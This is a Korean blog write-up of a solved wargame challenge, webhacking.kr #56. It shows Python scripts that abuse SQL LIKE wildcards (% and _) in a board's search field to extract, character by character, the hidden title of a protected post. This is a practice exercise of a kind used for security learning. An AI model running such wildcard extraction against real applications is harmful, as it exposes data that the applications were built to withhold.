-
[Webhacking.kr] 56번 풀이Wargame/webhacking.kr (old) 2019. 5. 9. 12:54
게시판이다. readme를 읽는 문제인 것 같다.
readme를 클릭하였는데 접근이 거부되었다.
id가 guest인 hi~는 읽어진다.
게시판에 검색창이 주어져 있다. 우선 admin과 guest를 입력해 검색해보았다.
아무 값도 나오지 않는다...;; id로 검색하는게 아닌 것 같다.
subject로 검색하는지 알아보기 위해 hi를 입력해보았다.
subject에 의해 검색되는게 맞다.
hi~가 아닌 hi를 검색했는데 결과가 나오는 것을 보니 쿼리문은 다음과 같이 예상할 수 있다.
select * from challenge56 where subject like '%$search%'
SQL Whild Card
% : 0개 이상의 임의의 문자
_ : 한개의 임의의 문자
readme가 나오도록 search에 임의의 값들을 python을 이용해 알아내보았다.
[ 소스 코드 ]
#!/usr/bin/env python # -*- coding: utf8 -*- import requests headers = {'Host': 'webhacking.kr', 'Cookie': 'PHPSESSID=5c97a627450ad95d7e877fab32203938;'} url = "http://webhacking.kr/challenge/web/web-33/index.php" string = ".0hkp" #readme에 들어가는 문자 #Find String for i in range(33, 126): if 65 <= i <= 90: continue data = {'search' : chr(i)} r = requests.post(url,headers=headers, data=data) if r.text.find('admin') != -1: print 'found : ', chr(i)
[ 실행 결과 ]
readme의 subject에 들어가는 문자는 위와 같다.
우선 subject의 길이를 알아내기 위해 와일드 카드 _를 이용하였다.
____(4개) 를 입력하면 hi~는 3글자이기 때문에 사라진다.
_______(7개) 를 입력하니 readme도 사라졌다. readme의 subject는 6글자이다.
이를 이용하여 python을 이용하여 readme를 알아내보자.
[ 소스 코드 ]
#!/usr/bin/env python # -*- coding: utf8 -*- import requests headers = {'Host': 'webhacking.kr', 'Cookie': 'PHPSESSID=5c97a627450ad95d7e877fab32203938;'} url = "http://webhacking.kr/challenge/web/web-33/index.php" string = ".0hkp" #readme에 들어가는 문자 #Find Readme temp_str = '' readme = '' for i in range(0, 6): for k in range(i, 5): temp_str += '_' for j in string : data = {'search' : readme+j+temp_str} r = requests.post(url,headers=headers, data=data) if r.text.find('admin') != -1: readme += j temp_str = '' print readme break
[ 실행 결과 ]
readme의 subject 값은 kk.php이다.
url을 통해 kk.php에 접근하면 문제가 풀린다.
'Wargame > webhacking.kr (old)' 카테고리의 다른 글
[Webhacking.kr] 58번 풀이 (0) 2019.05.11 [Webhacking.kr] 57번 풀이 (0) 2019.05.09 [Webhacking.kr] 55번 풀이 (0) 2019.05.08 [Webhacking.kr] 54번 풀이 (0) 2019.05.08 [Webhacking.kr] 53번 풀이 (0) 2019.05.08 댓글